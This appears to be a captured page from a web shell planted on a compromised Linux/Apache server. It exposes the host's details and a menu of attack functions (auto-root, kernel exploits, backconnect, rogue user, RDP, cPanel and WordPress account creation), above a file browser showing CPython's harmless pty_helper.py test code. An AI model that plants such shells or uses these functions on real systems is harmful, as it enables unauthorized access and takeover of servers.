Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.21.33.186
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
core24 /
888 /
usr /
lib /
python3.12 /
test /
support /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_hypothesis_stubs
[ DIR ]
drwxr-xr-x
__init__.py
78.13
KB
-rw-r--r--
ast_helper.py
1.79
KB
-rw-r--r--
asynchat.py
11.33
KB
-rw-r--r--
asyncore.py
19.9
KB
-rw-r--r--
bytecode_helper.py
4.88
KB
-rw-r--r--
hashlib_helper.py
1.86
KB
-rw-r--r--
hypothesis_helper.py
1.35
KB
-rw-r--r--
import_helper.py
10.48
KB
-rw-r--r--
interpreters.py
5.67
KB
-rw-r--r--
logging_helper.py
916
B
-rw-r--r--
os_helper.py
23.72
KB
-rw-r--r--
pty_helper.py
2.98
KB
-rw-r--r--
script_helper.py
11.45
KB
-rw-r--r--
smtpd.py
30.01
KB
-rwxr-xr-x
socket_helper.py
13.47
KB
-rw-r--r--
testcase.py
1.02
KB
-rw-r--r--
threading_helper.py
7.86
KB
-rw-r--r--
warnings_helper.py
6.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pty_helper.py
""" Helper to run a script in a pseudo-terminal. """ import os import selectors import subprocess import sys from contextlib import ExitStack from errno import EIO from test.support.import_helper import import_module def run_pty(script, input=b"dummy input\r", env=None): pty = import_module('pty') output = bytearray() [master, slave] = pty.openpty() args = (sys.executable, '-c', script) proc = subprocess.Popen(args, stdin=slave, stdout=slave, stderr=slave, env=env) os.close(slave) with ExitStack() as cleanup: cleanup.enter_context(proc) def terminate(proc): try: proc.terminate() except ProcessLookupError: # Workaround for Open/Net BSD bug (Issue 16762) pass cleanup.callback(terminate, proc) cleanup.callback(os.close, master) # Avoid using DefaultSelector and PollSelector. Kqueue() does not # work with pseudo-terminals on OS X < 10.9 (Issue 20365) and Open # BSD (Issue 20667). Poll() does not work with OS X 10.6 or 10.4 # either (Issue 20472). Hopefully the file descriptor is low enough # to use with select(). sel = cleanup.enter_context(selectors.SelectSelector()) sel.register(master, selectors.EVENT_READ | selectors.EVENT_WRITE) os.set_blocking(master, False) while True: for [_, events] in sel.select(): if events & selectors.EVENT_READ: try: chunk = os.read(master, 0x10000) except OSError as err: # Linux raises EIO when slave is closed (Issue 5380) if err.errno != EIO: raise chunk = b"" if not chunk: return output output.extend(chunk) if events & selectors.EVENT_WRITE: try: input = input[os.write(master, input):] except OSError as err: # Apparently EIO means the slave was closed if err.errno != EIO: raise input = b"" # Stop writing if not input: sel.modify(master, selectors.EVENT_READ) ###################################################################### ## Fake stdin (for testing interactive debugging) ###################################################################### class FakeInput: """ A fake input stream for pdb's interactive debugger. Whenever a line is read, print it (to simulate the user typing it), and then return it. The set of lines to return is specified in the constructor; they should not have trailing newlines. """ def __init__(self, lines): self.lines = lines def readline(self): line = self.lines.pop(0) print(line) return line + '\n'
Close